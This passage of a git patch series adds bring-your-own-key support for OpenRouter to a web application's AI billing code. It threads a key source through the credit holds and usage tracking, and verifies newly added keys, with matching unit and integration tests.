const creditGate = await canConsumeAI(authResult.userId, consumerTier, {
spend,
estCostCents: estimateChatHoldCentsForModel(page.aiModel ?? undefined),
@@ -669,6 +677,7 @@ export async function POST(request: Request): Promise {
// transaction (idempotent if the hold is already gone). success:false on abort/error
// still bills burned tokens while marking the run unsuccessful.
await AIMonitoring.trackUsage({
+ keySource: providerResult.keySource,
userId: authResult.userId,
provider: providerResult.provider,
model: providerResult.modelName,
diff --git a/apps/web/src/lib/ai/chat-pipeline/global-chat-turn.ts b/apps/web/src/lib/ai/chat-pipeline/global-chat-turn.ts
index 1ae594c8ec..63c2c30154 100644
--- a/apps/web/src/lib/ai/chat-pipeline/global-chat-turn.ts
+++ b/apps/web/src/lib/ai/chat-pipeline/global-chat-turn.ts
@@ -35,6 +35,8 @@ import { conversationSpend } from '@pagespace/lib/billing/spend-target';
import { UNGATED_TURN_CREDIT, personalTurnTiers, turnCreditAfterGate, type TurnCredit } from './turn-credit';
import { writeTurnPreamble } from './turn-preamble';
import { isMeteringExempt } from '@pagespace/lib/ai/model-defaults';
+import { resolveModelKeySource, type ModelKeyDecision, type ModelKeySource } from '@/lib/ai/core/model-key-source';
+import { createByokUnavailableResponse } from '@/lib/ai/core/byok-responses';
import { estimateChatHoldCentsForModel } from '@pagespace/lib/monitoring/chat-pricing';
import { releaseHold } from '@pagespace/lib/billing/credit-consume';
import { creditGateErrorResponse } from '@/lib/subscription/credit-gate-response';
@@ -193,6 +195,8 @@ export async function runGlobalChatTurn(ctx: GlobalChatTurnContext): Promise {
it('given a chat-completions request, should send the exact body for this person and return OpenRouter\'s answer', async () => {
- const requestInference = vi.fn(async () => ({ ok: true as const, response: new Response('data: [DONE]\n\n', { status: 200, headers: { 'content-type': 'text/event-stream' } }) }));
+ const requestInference = vi.fn(async (_input: Parameters[0]) => ({ ok: true as const, response: new Response('data: [DONE]\n\n', { status: 200, headers: { 'content-type': 'text/event-stream' } }) }));
const planeFetch = createPlaneInferenceFetch({ authority: authorityWith(requestInference), context });
const response = await planeFetch('https://openrouter.ai/api/v1/chat/completions', { method: 'POST', body, headers: { authorization: 'Bearer held-by-the-credential-plane' } });
expect({ status: response.status, text: await response.text(), call: requestInference.mock.calls[0]?.[0] }).toEqual({
diff --git a/apps/web/src/lib/ai/core/compaction/compaction-service.ts b/apps/web/src/lib/ai/core/compaction/compaction-service.ts
index 8ef2851325..0206192a57 100644
--- a/apps/web/src/lib/ai/core/compaction/compaction-service.ts
+++ b/apps/web/src/lib/ai/core/compaction/compaction-service.ts
@@ -115,10 +115,17 @@ export async function runCompaction(params: RunCompactionParams): Promise
}
}
+ // BYOK (ADR 0009): a key may only ever be the FUNDER's. The provider is built for the turn's user, so it may
+ // decide on their key only when they are also who pays; recorded under anyone else (a manual Run's presser),
+ // the compaction stays managed.
const providerResult = await createAIProvider(userId, {
selectedProvider: provider,
selectedModel: compactionModel,
- }, { driveId: spendDriveId(spend) });
+ }, {
+ driveId: spendDriveId(spend),
+ modelCall: { conversationId },
+ ...(billedUserId === userId ? {} : { keySource: { source: 'managed' } as const }),
+ });
if (isProviderError(providerResult)) {
console.warn('[compaction] provider unavailable:', providerResult.error);
@@ -150,7 +157,8 @@ export async function runCompaction(params: RunCompactionParams): Promise
// no charge, and the stored summary and pointer stay exactly as they were, so the
// conversation keeps working from the context it already had.
const admission = callAdmission({
- meteringExempt: isMeteringExempt(runProvider),
+ // On the person's own key there is nothing to reserve: no hold, no charge.
+ meteringExempt: isMeteringExempt(runProvider) || providerResult.keySource === 'user_key',
spend,
estCostCents: estimateChatHoldCentsForModel(runModel, {
inputTokens: estimateTokens(JSON.stringify(transcriptMessages)) + (previousSummary ? estimateTokens(previousSummary) : 0),
@@ -178,6 +186,7 @@ export async function runCompaction(params: RunCompactionParams): Promise
settled = true;
holdHandedOff = true;
await AIMonitoring.trackUsage({
+ keySource: providerResult.keySource,
userId: billedUserId,
provider: runProvider,
model: runModel,
diff --git a/apps/web/src/lib/ai/tools/__tests__/image-generation-tools.test.ts b/apps/web/src/lib/ai/tools/__tests__/image-generation-tools.test.ts
index 22f149644d..754552a332 100644
--- a/apps/web/src/lib/ai/tools/__tests__/image-generation-tools.test.ts
+++ b/apps/web/src/lib/ai/tools/__tests__/image-generation-tools.test.ts
@@ -217,6 +217,13 @@ describe('generate_image destination', () => {
expect(res.summary).toContain('Home workspace gallery');
});
+ it('BYOK (ADR 0009) given the image runs on the person\'s own key, should reserve no credits and record keySource user_key', async () => {
+ okGeneration();
+ createImageProvider.mockResolvedValueOnce({ client: IMAGE_CLIENT, provider: 'google', modelName: 'google/gemini-3.1-flash-image', keySource: 'user_key' });
+ await run({ prompt: 'a diagram' }, { ...admin({}), ...inDrive('drive-work') });
+ expect([canConsumeAI.mock.calls.length, trackUsage.mock.calls[0]?.[0]?.keySource, trackUsage.mock.calls[0]?.[0]?.holdId]).toEqual([0, 'user_key', undefined]);
+ });
+
// An explicitly named destination must fail loudly rather than silently
// redirecting to Home — and it must fail BEFORE any spend.
it('POL-8 (partial) builds the image model through the provider factory for the turn\'s drive and the destination drive; a refusal reserves nothing and calls no model', async () => {
@@ -225,7 +232,7 @@ describe('generate_image destination', () => {
const res = (await run({ prompt: 'a diagram' }, { ...admin({ creditSpend }), ...inDrive('drive-work') })) as { success: boolean; error?: string };
- expect(createImageProvider).toHaveBeenCalledWith({ model: expect.any(String) }, { driveId: 'drive-work', contentDriveIds: ['drive-work'] });
+ expect(createImageProvider).toHaveBeenCalledWith({ model: expect.any(String) }, expect.objectContaining({ driveId: 'drive-work', contentDriveIds: ['drive-work'], userId: expect.any(String) }));
expect(res).toMatchObject({ success: false, error: expect.stringContaining("doesn't allow that AI model") });
expect(canConsumeAI).not.toHaveBeenCalled();
expect(generateImageBytes).not.toHaveBeenCalled();
diff --git a/apps/web/src/lib/ai/tools/agent-communication-tools.ts b/apps/web/src/lib/ai/tools/agent-communication-tools.ts
index 9ab75c29bc..ba02dd16ab 100644
--- a/apps/web/src/lib/ai/tools/agent-communication-tools.ts
+++ b/apps/web/src/lib/ai/tools/agent-communication-tools.ts
@@ -52,7 +52,12 @@ const MAX_AGENT_DEPTH = 2;
* Get configured AI model for agent using the centralized provider factory
* Handles provider-specific setup and fallbacks
*/
-async function getConfiguredModel(userId: string, agentConfig: { aiProvider?: string | null; aiModel?: string | null; driveId: string }, spend: SpendTarget) {
+async function getConfiguredModel(
+ userId: string,
+ agentConfig: { aiProvider?: string | null; aiModel?: string | null; driveId: string },
+ spend: SpendTarget,
+ byok: { billedUserId: string; modelCall: { sessionId: string | null; conversationId: string } },
+) {
const { aiProvider, aiModel } = agentConfig;
// Use default provider/model if agent doesn't have specific configuration
@@ -66,7 +71,14 @@ async function getConfiguredModel(userId: string, agentConfig: { aiProvider?: st
// POL-8: the org of the drive this call runs in (its spend drive; none for personal spend) AND the org of the
// consulted agent's own drive, whose content (its prompt, its pages) reaches the model whoever calls.
- const providerResult = await createAIProvider(userId, providerRequest, { driveId: spendDriveId(spend), contentDriveIds: [agentConfig.driveId] });
+ // BYOK (ADR 0009): a key may only ever be the FUNDER's. The factory decides on the caller's key only when the
+ // caller is also who pays; a consult funded by someone else (a manual Run's presser) stays managed.
+ const providerResult = await createAIProvider(userId, providerRequest, {
+ driveId: spendDriveId(spend),
+ contentDriveIds: [agentConfig.driveId],
+ modelCall: byok.modelCall,
+ ...(byok.billedUserId === userId ? {} : { keySource: { source: 'managed' } as const }),
+ });
if (isProviderError(providerResult)) {
throw new Error(providerResult.error);
@@ -717,12 +729,20 @@ export async function executeAskAgent(
systemPrompt += `\n\nYou are being consulted by another agent or user${executionContext?.locationContext?.currentPage?.title ? ` (${executionContext.locationContext.currentPage.title})` : ''}. This is a persistent conversation - you have access to the full conversation history. Respond helpfully based on your expertise and the conversation context.`;
// 8. Get configured model for agent
+ // The consumer the turn's gate bound (a manual Run's presser), else the caller (review #2817 P2-3):
+ // the one person who funds this consult, whose own model key may pay for it (ADR 0009).
+ const billedUserId = executionContext?.creditSpend?.userId ?? userId;
const providerResult = await getConfiguredModel(userId, {
aiProvider: targetAgent.aiProvider,
aiModel: targetAgent.aiModel,
driveId: targetAgent.driveId,
- }, executionContext?.creditSpend?.spend ?? PERSONAL_SPEND);
+ }, executionContext?.creditSpend?.spend ?? PERSONAL_SPEND, {
+ billedUserId,
+ modelCall: { sessionId: executionContext?.authSessionId ?? null, conversationId: activeConversationId },
+ });
const { model, provider: resolvedProvider, modelName: resolvedModelName } = providerResult;
+ // BYOK: the factory's decision drives the gate and billing below — no hold, no charge on the person's key.
+ const askKeySource = providerResult.keySource ?? 'managed';
// 9. Filter tools for agent. Nested calls inherit the top-level caller's MCP
// drive scope via nestedContext below, so a scoped token must not be able to
@@ -855,10 +875,9 @@ export async function executeAskAgent(
// resolved (a follow-on target: that source or a refusal by name, never a fallback of its own;
// a mention's drive wallet; personal with no gated caller) and settles that hold. A wallet
// that cannot cover it refuses the consultation and charges nothing.
- const billedUserId = executionContext?.creditSpend?.userId ?? userId;
const askSpend = executionContext?.creditSpend?.spend ?? PERSONAL_SPEND;
const admission = callAdmission({
- meteringExempt: isMeteringExempt(resolvedProvider),
+ meteringExempt: isMeteringExempt(resolvedProvider) || askKeySource === 'user_key',
spend: askSpend,
estCostCents: estimateChatHoldCentsForModel(resolvedModelName),
});
@@ -938,6 +957,7 @@ export async function executeAskAgent(
// it runs in, not the drive the agent lives in); a flat-rate provider takes no hold and
// settles nothing.
await AIMonitoring.trackUsage({
+ keySource: askKeySource,
// The consumer the turn's gate bound (a manual Run's presser), else the caller (review #2817 P2-3).
userId: billedUserId,
provider: resolvedProvider,
diff --git a/apps/web/src/lib/channels/__tests__/agent-mention-responder.test.ts b/apps/web/src/lib/channels/__tests__/agent-mention-responder.test.ts
index fe7d4ec55b..4624d4d4ae 100644
--- a/apps/web/src/lib/channels/__tests__/agent-mention-responder.test.ts
+++ b/apps/web/src/lib/channels/__tests__/agent-mention-responder.test.ts
@@ -227,7 +227,8 @@ describe('agent-mention-responder', () => {
await triggerMentionedAgentResponses({ ...baseParams, content: 'Thoughts? @[Budget Agent](agent-1:page)' });
- expect(mockAcquireMentionCreditHold).toHaveBeenCalledWith({ userId: 'user-1', driveId: 'drive-1' });
+ // BYOK (ADR 0009): the gate is told the provider the reply runs and the agent's drive, so it decides whose key pays.
+ expect(mockAcquireMentionCreditHold).toHaveBeenCalledWith({ userId: 'user-1', driveId: 'drive-1', keyScope: { provider: expect.any(String), agentDriveId: null } });
expect(mockAcquireMentionCreditHold.mock.invocationCallOrder[0]).toBeLessThan(mockAskAgentExecute.mock.invocationCallOrder[0]);
const askContext = mockAskAgentExecute.mock.calls[0][1].experimental_context;
expect(askContext.creditSpend).toEqual({ spend: { kind: 'automation', driveId: 'drive-1' }, walletId: 'w-drive-1' });
diff --git a/apps/web/src/lib/channels/agent-mention-responder.ts b/apps/web/src/lib/channels/agent-mention-responder.ts
index 04579620e3..86eef3dd92 100644
--- a/apps/web/src/lib/channels/agent-mention-responder.ts
+++ b/apps/web/src/lib/channels/agent-mention-responder.ts
@@ -59,6 +59,8 @@ export interface MentionedAgent {
hasVision: boolean;
/** POL-8: the provider and model this agent's reply will run (its configured pair, else the default). */
runModel: AgentRunModel;
+ /** The drive the agent page lives in (its content reaches the model): part of the BYOK key decision. */
+ driveId?: string | null;
}
export interface RecentChannelMessage {
@@ -229,6 +231,7 @@ export async function resolveMentionedAgents(content: string): Promise;
@@ -34,17 +36,34 @@ export type MentionCreditHold =
export async function acquireMentionCreditHold(input: {
userId: string;
driveId: string | null | undefined;
+ /**
+ * BYOK (ADR 0009): the provider the reply will run and the drive the agent lives in — the same scope
+ * ask_agent's provider factory decides on. On the sender's own OpenRouter key the reply reserves nothing
+ * (ask_agent then takes no hold of its own either, and never charges). Absent: gated as before.
+ */
+ keyScope?: { provider: string; agentDriveId?: string | null };
}): Promise {
// A mention outside any drive has no drive wallet, and a person-less reply never falls
// back to a person: nothing to spend, so nothing runs.
if (!input.driveId) return { allowed: false, error: 'AI credit gate denied: no drive to spend' };
+ const spend = personTriggeredSpend(input.driveId);
+ if (input.keyScope) {
+ const keyDecision = await resolveModelKeySource({
+ userId: input.userId,
+ provider: input.keyScope.provider,
+ driveId: input.driveId,
+ contentDriveIds: input.keyScope.agentDriveId ? [input.keyScope.agentDriveId] : [],
+ });
+ if (keyDecision.source === 'refused') return { allowed: false, error: BYOK_UNAVAILABLE_MESSAGE };
+ if (keyDecision.source === 'user_key') return { allowed: true, creditSpend: { spend }, release: () => {} };
+ }
+
const [sender] = await db
.select({ subscriptionTier: users.subscriptionTier })
.from(users)
.where(eq(users.id, input.userId));
- const spend = personTriggeredSpend(input.driveId);
const gate = await canConsumeAI(
input.userId,
toPersonalSubscriptionTier(sender?.subscriptionTier),
diff --git a/apps/web/src/lib/integrations/zoom/extract-action-items.ts b/apps/web/src/lib/integrations/zoom/extract-action-items.ts
index 2735fd35a8..0c9bf80b54 100644
--- a/apps/web/src/lib/integrations/zoom/extract-action-items.ts
+++ b/apps/web/src/lib/integrations/zoom/extract-action-items.ts
@@ -21,7 +21,11 @@ export async function extractActionItems(
billing: { driveId: string; userId: string; walletId?: string; automationRef?: string },
): Promise {
try {
- const provider = await createAIProvider(userId, {}, { driveId: billing.driveId });
+ // BYOK (ADR 0009): the key may only be the billed person's; recorded under anyone else, the call stays managed.
+ const provider = await createAIProvider(userId, {}, {
+ driveId: billing.driveId,
+ ...(billing.userId === userId ? {} : { keySource: { source: 'managed' } as const }),
+ });
if (isProviderError(provider)) {
loggers.api.warn('Zoom action items: AI provider unavailable', { userId, error: provider.error });
return [];
@@ -35,6 +39,7 @@ export async function extractActionItems(
});
discardUsageOutcome(AIMonitoring.trackUsage({
+ keySource: provider.keySource,
userId: billing.userId,
provider: provider.provider,
model: provider.modelName,
diff --git a/apps/web/src/lib/integrations/zoom/generate-summary.ts b/apps/web/src/lib/integrations/zoom/generate-summary.ts
index fb6e440951..ece45f9897 100644
--- a/apps/web/src/lib/integrations/zoom/generate-summary.ts
+++ b/apps/web/src/lib/integrations/zoom/generate-summary.ts
@@ -17,7 +17,11 @@ export async function generateTranscriptSummary(
billing: { driveId: string; userId: string; walletId?: string; automationRef?: string },
): Promise {
try {
- const provider = await createAIProvider(userId, {}, { driveId: billing.driveId });
+ // BYOK (ADR 0009): the key may only be the billed person's; recorded under anyone else, the call stays managed.
+ const provider = await createAIProvider(userId, {}, {
+ driveId: billing.driveId,
+ ...(billing.userId === userId ? {} : { keySource: { source: 'managed' } as const }),
+ });
if (isProviderError(provider)) {
loggers.api.warn('Zoom summary: AI provider unavailable', { userId, error: provider.error });
return '';
@@ -31,6 +35,7 @@ export async function generateTranscriptSummary(
});
discardUsageOutcome(AIMonitoring.trackUsage({
+ keySource: provider.keySource,
userId: billing.userId,
provider: provider.provider,
model: provider.modelName,
diff --git a/apps/web/src/lib/memory/compaction-service.ts b/apps/web/src/lib/memory/compaction-service.ts
index 75ad97f5c0..3a92f628d0 100644
--- a/apps/web/src/lib/memory/compaction-service.ts
+++ b/apps/web/src/lib/memory/compaction-service.ts
@@ -118,6 +118,7 @@ export async function compactField(
const reservation = await reserveMemoryCall(userId, {
provider: providerResult.provider,
model: providerResult.modelName,
+ keySource: providerResult.keySource,
inputChars: content.length,
});
if (!reservation.allowed) {
@@ -152,6 +153,7 @@ Compact this by deleting anything that does not change AI behaviour. Output only
// Settles the reservation once (trackUsage takes the hold).
discardUsageOutcome(AIMonitoring.trackUsage({
+ keySource: providerResult.keySource,
userId,
provider: providerResult.provider,
model: providerResult.modelName,
diff --git a/apps/web/src/lib/memory/discovery-service.ts b/apps/web/src/lib/memory/discovery-service.ts
index c93724232d..cf6290b09e 100644
--- a/apps/web/src/lib/memory/discovery-service.ts
+++ b/apps/web/src/lib/memory/discovery-service.ts
@@ -361,6 +361,7 @@ async function runDiscoveryPass(
const reservation = await reserveMemoryCall(userId, {
provider: providerResult.provider,
model: providerResult.modelName,
+ keySource: providerResult.keySource,
inputChars: systemPrompt.length + conversationContext.length,
});
if (!reservation.allowed) {
@@ -388,6 +389,7 @@ async function runDiscoveryPass(
// Settles the reservation once (trackUsage takes the hold).
discardUsageOutcome(AIMonitoring.trackUsage({
+ keySource: providerResult.keySource,
userId,
provider: providerResult.provider,
model: providerResult.modelName,
diff --git a/apps/web/src/lib/memory/integration-service.ts b/apps/web/src/lib/memory/integration-service.ts
index b4c50c4ead..3ed32145af 100644
--- a/apps/web/src/lib/memory/integration-service.ts
+++ b/apps/web/src/lib/memory/integration-service.ts
@@ -345,6 +345,7 @@ Return JSON with the full new content for each field that should change. Use nul
const reservation = await reserveMemoryCall(userId, {
provider: providerResult.provider,
model: providerResult.modelName,
+ keySource: providerResult.keySource,
inputChars: EVALUATOR_SYSTEM_PROMPT.length + userPrompt.length,
});
if (!reservation.allowed) {
@@ -365,6 +366,7 @@ Return JSON with the full new content for each field that should change. Use nul
// Settles the reservation once (trackUsage takes the hold).
discardUsageOutcome(AIMonitoring.trackUsage({
+ keySource: providerResult.keySource,
userId,
provider: providerResult.provider,
model: providerResult.modelName,
diff --git a/apps/web/src/lib/memory/memory-credit.ts b/apps/web/src/lib/memory/memory-credit.ts
index 45cf4f204d..2b5c1ca006 100644
--- a/apps/web/src/lib/memory/memory-credit.ts
+++ b/apps/web/src/lib/memory/memory-credit.ts
@@ -47,7 +47,13 @@ const CHARS_PER_TOKEN = 4;
export async function reserveMemoryCall(
userId: string,
- call: { provider: string; model: string; inputChars: number },
+ call: {
+ provider: string;
+ model: string;
+ inputChars: number;
+ /** BYOK (ADR 0009): the call runs on the person's own OpenRouter key, so it reserves nothing. */
+ keySource?: 'managed' | 'user_key';
+ },
): Promise {
let holdId: string | undefined;
let walletId: string | undefined;
@@ -61,7 +67,7 @@ export async function reserveMemoryCall(
}
const admission = callAdmission({
- meteringExempt: isMeteringExempt(call.provider),
+ meteringExempt: isMeteringExempt(call.provider) || call.keySource === 'user_key',
spend: PERSONAL_SPEND,
estCostCents: estimateChatHoldCentsForModel(call.model, { inputTokens: Math.ceil(call.inputChars / CHARS_PER_TOKEN) }),
});
diff --git a/apps/web/src/lib/workflows/workflow-executor.ts b/apps/web/src/lib/workflows/workflow-executor.ts
index b8c9ca574b..13f0e3a60e 100644
--- a/apps/web/src/lib/workflows/workflow-executor.ts
+++ b/apps/web/src/lib/workflows/workflow-executor.ts
@@ -763,7 +763,14 @@ async function runExecution(
selectedModel,
};
- const providerResult = await createAIProvider(input.createdBy, providerRequest, { driveId: input.driveId });
+ // BYOK (ADR 0009): a key may only ever be the FUNDER's. The factory decides on the creator's key only when the
+ // creator is also who the run is billed to (an org drive's run is managed regardless); a manual Run pressed by
+ // someone else stays managed.
+ const billedUserId = input.creditSpend.userId ?? input.createdBy;
+ const providerResult = await createAIProvider(input.createdBy, providerRequest, {
+ driveId: input.driveId,
+ ...(billedUserId === input.createdBy ? {} : { keySource: { source: 'managed' } as const }),
+ });
if (isProviderError(providerResult)) {
return { success: false, durationMs: Date.now() - startTime, error: `AI provider error: ${providerResult.error}` };
@@ -1061,6 +1068,7 @@ async function runExecution(
// (HIST-03, #2736) — the same contract the consult route settles on.
const usage = result.totalUsage;
await AIMonitoring.trackUsage({
+ keySource: providerResult.keySource,
// Counted as the consumer the run's gate bound: a manual Run's presser, else the creator (review #2817 P2-3).
userId: input.creditSpend.userId ?? input.createdBy,
provider: providerResult.provider,
From d143c197bb6568a47dbbe654ea6cb824b78db902 Mon Sep 17 00:00:00 2001
From: 2witstudios <2witstudios@gmail.com>
Date: Sun, 29 Nov 2026 20:18:17 -0600
Subject: [PATCH 09/35] feat(byok): check a key with OpenRouter when it is
added, through the plane (BYOK-9)
The inference executor gains one more pinned, read-only call: GET
https://openrouter.ai/api/v1/key (openrouter.key_info, class read, bodiless),
chosen by the digested call and covered by the same scope. setModelKey runs it
right after storing the key and BEFORE retiring the previous one: a key
OpenRouter rejects (401/403) is revoked at once (key_rejected) and a working
key is never replaced by a mistyped one; when the check cannot run the key is
kept and the person is told it is unverified.
Co-Authored-By: Claude Opus 5.5
Claude-Session: https://claude.ai/code/session_01QyQdJ3GsonBXCUfPUhaSNR
---
.../user/model-key/__tests__/route.test.ts | 6 +
apps/web/src/app/api/user/model-key/route.ts | 4 +-
apps/web/src/app/settings/ai/ModelKeyCard.tsx | 6 +-
...tp-executor-end-to-end.integration.test.ts | 15 +++
.../account-authority-executor.ts | 116 ++++++++++--------
packages/lib/src/agent-accounts/authorize.ts | 6 +-
.../src/agent-accounts/canonical-request.ts | 2 +-
.../__tests__/inference-executor.test.ts | 12 +-
.../executor/inference-executor.ts | 35 +++---
.../executor/plane-http-adapter.ts | 1 +
.../src/agent-accounts/executor/plane-wire.ts | 7 +-
.../inference/__tests__/model-key.test.ts | 18 +++
.../src/agent-accounts/inference/model-key.ts | 20 ++-
13 files changed, 171 insertions(+), 77 deletions(-)
diff --git a/apps/web/src/app/api/user/model-key/__tests__/route.test.ts b/apps/web/src/app/api/user/model-key/__tests__/route.test.ts
index a12e6eb3a3..361bc01d00 100644
--- a/apps/web/src/app/api/user/model-key/__tests__/route.test.ts
+++ b/apps/web/src/app/api/user/model-key/__tests__/route.test.ts
@@ -68,6 +68,12 @@ describe('PUT /api/user/model-key', () => {
expect((await PUT(req('PUT', { apiKey: CANARY }))).status).toBe(503);
});
+ it('given a key OpenRouter rejects, should answer 400 key_rejected', async () => {
+ mockAuthority.setModelKey.mockResolvedValue({ ok: false, reason: 'key_rejected' });
+ const response = await PUT(req('PUT', { apiKey: CANARY }));
+ expect([response.status, (await response.json()).error]).toEqual([400, 'key_rejected']);
+ });
+
it('given a refusal, should name the reason and never the key', async () => {
mockAuthority.setModelKey.mockResolvedValue({ ok: false, reason: 'key_invalid' });
const response = await PUT(req('PUT', { apiKey: CANARY }));
diff --git a/apps/web/src/app/api/user/model-key/route.ts b/apps/web/src/app/api/user/model-key/route.ts
index e332a288cd..15bf340c2d 100644
--- a/apps/web/src/app/api/user/model-key/route.ts
+++ b/apps/web/src/app/api/user/model-key/route.ts
@@ -55,9 +55,9 @@ export async function PUT(request: Request) {
try {
const result = await authority.setModelKey({ actor: actorFromAuth(auth), apiKey: parsed.data.apiKey });
- if (!result.ok) return NextResponse.json({ error: result.reason }, { status: result.reason === 'key_invalid' ? 400 : 503 });
+ if (!result.ok) return NextResponse.json({ error: result.reason }, { status: result.reason === 'key_invalid' || result.reason === 'key_rejected' ? 400 : 503 });
auditRequest(request, { eventType: 'auth.token.created', userId: auth.userId, resourceType: 'agent_account', resourceId: result.account?.id ?? 'model_key' });
- return NextResponse.json({ key: shownKey(result.account) }, { status: 201 });
+ return NextResponse.json({ key: shownKey(result.account), verified: result.verified ?? false }, { status: 201 });
} catch (error) {
loggers.api.error('Error storing model key', error as Error);
return NextResponse.json({ error: 'Failed to store model key' }, { status: 500 });
diff --git a/apps/web/src/app/settings/ai/ModelKeyCard.tsx b/apps/web/src/app/settings/ai/ModelKeyCard.tsx
index a8e2e04bfe..b8b05a7d7b 100644
--- a/apps/web/src/app/settings/ai/ModelKeyCard.tsx
+++ b/apps/web/src/app/settings/ai/ModelKeyCard.tsx
@@ -21,6 +21,7 @@ type ModelKeyState = { readonly enabled: boolean; readonly available: boolean; r
const ERROR_COPY: Record = {
key_invalid: 'That does not look like an OpenRouter key. It starts with "sk-or-".',
+ key_rejected: 'OpenRouter did not accept that key. Check it and try again. Your previous key, if any, is unchanged.',
not_enabled: 'Bringing your own key is not switched on for your account.',
not_configured: 'This deployment cannot store keys right now.',
plane_unavailable: 'Your key could not be stored right now. Try again in a moment.',
@@ -65,10 +66,11 @@ export function ModelKeyCard() {
async function save() {
setSaving(true);
try {
- const result = await put<{ key: ShownKey }>('/api/user/model-key', { apiKey: draft });
+ const result = await put<{ key: ShownKey; verified: boolean }>('/api/user/model-key', { apiKey: draft });
setState((current) => (current === null ? current : { ...current, key: result.key }));
setDraft('');
- toast.success('Your OpenRouter key is saved. Your model calls now run on it.');
+ if (result.verified) toast.success('OpenRouter accepted your key. Your model calls now run on it.');
+ else toast.warning('Your key is saved, but OpenRouter could not be reached to check it. If it is wrong, your next chat will say so.');
} catch (error) {
const reason = error instanceof ApiRequestError ? (error.body as { error?: string } | undefined)?.error : undefined;
toast.error(ERROR_COPY[reason ?? ''] ?? 'Your key could not be saved.');
diff --git a/packages/lib/src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts b/packages/lib/src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts
index 7afd4ee35d..37c2fe2bf5 100644
--- a/packages/lib/src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts
+++ b/packages/lib/src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts
@@ -160,6 +160,12 @@ function startUpstream(): Promise {
});
return;
}
+ if (req.url === '/api/v1/key' && req.method === 'GET') {
+ // OpenRouter's key check: only the person's real key is accepted.
+ const ok = req.headers.authorization === `Bearer ${MODEL_KEY}`;
+ res.writeHead(ok ? 200 : 401, { 'content-type': 'application/json' });
+ return res.end(ok ? '{"data":{"label":"e2e"}}' : '{"error":{"message":"User not found.","code":401}}');
+ }
if (req.url === '/api/v1/chat/completions' && req.method === 'POST') {
// OpenRouter, as the inference executor reaches it: the person's key as a bearer token, and a stream that echoes it.
if (req.headers.authorization !== `Bearer ${MODEL_KEY}`) {
@@ -1038,6 +1044,9 @@ describe.skipIf(!ADMIN_TOKEN)('adversarial: the G2 thin slice end to end (real p
it('given a person adds their own OpenRouter key, should store it write-only, stream a model call through the plane on it with the key scrubbed, and stop once it is removed', async () => {
const authority = authorityOver(await startPlane());
const owner = credentialActor(OWNER, null);
+ // A key OpenRouter rejects is revoked at once and never becomes the person's key.
+ const rejected = await authority.setModelKey({ actor: owner, apiKey: `sk-or-v1-${randomBytes(20).toString('hex')}` });
+ const afterRejected = await authority.getModelKey({ actor: owner });
const set = await authority.setModelKey({ actor: owner, apiKey: MODEL_KEY });
if (!set.ok) throw new Error(set.reason);
const shown = seen(await authority.getModelKey({ actor: owner }));
@@ -1054,6 +1063,9 @@ describe.skipIf(!ADMIN_TOKEN)('adversarial: the G2 thin slice end to end (real p
await authority.removeModelKey({ actor: owner });
const afterRemove = await authority.requestInference({ caller: { ...inferenceCaller, runId: `${RUN}_inf3` as RunId }, body });
expect({
+ rejected: rejected.ok ? 'stored' : rejected.reason,
+ afterRejected,
+ verified: set.verified,
shown: shown?.providerSlug,
listed: (listed ?? []).some((account) => account.providerSlug === 'openrouter-model-key'),
status: live.response.status,
@@ -1063,6 +1075,9 @@ describe.skipIf(!ADMIN_TOKEN)('adversarial: the G2 thin slice end to end (real p
afterRemove: afterRemove.ok ? 'streamed' : afterRemove.reason,
leaks: [streamed, unattendedText].filter((text) => typeof text === 'string' && text.includes(MODEL_KEY)).length,
}).toEqual({
+ rejected: 'key_rejected',
+ afterRejected: null,
+ verified: true,
shown: 'openrouter-model-key',
listed: false,
status: 200,
diff --git a/packages/lib/src/agent-accounts/account-authority-executor.ts b/packages/lib/src/agent-accounts/account-authority-executor.ts
index 42720200c2..6e6d0ad298 100644
--- a/packages/lib/src/agent-accounts/account-authority-executor.ts
+++ b/packages/lib/src/agent-accounts/account-authority-executor.ts
@@ -52,7 +52,7 @@ import { decideGoogleEnrollment, type GoogleEnrollmentInput, type GoogleEnrollme
import type { PlaneOAuthExchangeResult, PlaneSshHostKeyResult } from './executor/plane-wire';
import type { SshExecutionResult } from './executor/decide-ssh-result';
import { authorizeSsh, authorizeInference } from './authorize';
-import { decideModelKeyInput, INFERENCE_ORIGIN, isModelKeyAccount, MODEL_KEY_ACCOUNT_NAME, MODEL_KEY_DELEGATION_TTL_MS, MODEL_KEY_PLACEMENT, MODEL_KEY_PROVIDER_SLUG, MODEL_KEY_SCOPE, modelKeyApprovalPolicy } from './inference/model-key';
+import { decideModelKeyInput, type InferenceCall, INFERENCE_ORIGIN, isModelKeyAccount, MODEL_KEY_ACCOUNT_NAME, MODEL_KEY_DELEGATION_TTL_MS, MODEL_KEY_PLACEMENT, MODEL_KEY_PROVIDER_SLUG, MODEL_KEY_SCOPE, modelKeyApprovalPolicy } from './inference/model-key';
import { decideSshAccount, type SshAccountInput, type SshAccountVerdict } from './ssh/decide-ssh-account';
import { normalizeSshTarget, sshTargetOf } from './ssh/ssh-command';
import type { ReleasedResponse } from './filter-response';
@@ -181,8 +181,10 @@ export type InferenceRefusal = {
};
export type ModelKeyChangeResult =
- | { readonly ok: true; readonly account: SafeAccount | null }
- | { readonly ok: false; readonly reason: 'key_invalid' | 'plane_unavailable' | 'store_refused' };
+ /** `verified`: OpenRouter accepted the key when it was added; false when the check could not run (the key is kept). */
+ | { readonly ok: true; readonly account: SafeAccount | null; readonly verified?: boolean }
+ /** `key_rejected`: OpenRouter refused the key; it was revoked at once and the previous key, if any, kept. */
+ | { readonly ok: false; readonly reason: 'key_invalid' | 'key_rejected' | 'plane_unavailable' | 'store_refused' };
export type AccountAuthority = {
/** The person's active model key, as safe metadata (never the key); null when they have none. */
@@ -192,7 +194,7 @@ export type AccountAuthority = {
/** Revoke the person's model key; their calls go back to PageSpace's key. */
readonly removeModelKey: (input: { readonly actor: AccessActor }) => Promise;
/** One model call on the person's own key, streamed through the plane's inference executor. */
- readonly requestInference: (input: { readonly caller: InferenceCaller; readonly body: string; readonly signal?: AbortSignal }) => Promise<{ readonly ok: true; readonly response: Response } | InferenceRefusal>;
+ readonly requestInference: (input: { readonly caller: InferenceCaller; readonly body: string; readonly call?: InferenceCall; readonly signal?: AbortSignal }) => Promise<{ readonly ok: true; readonly response: Response } | InferenceRefusal>;
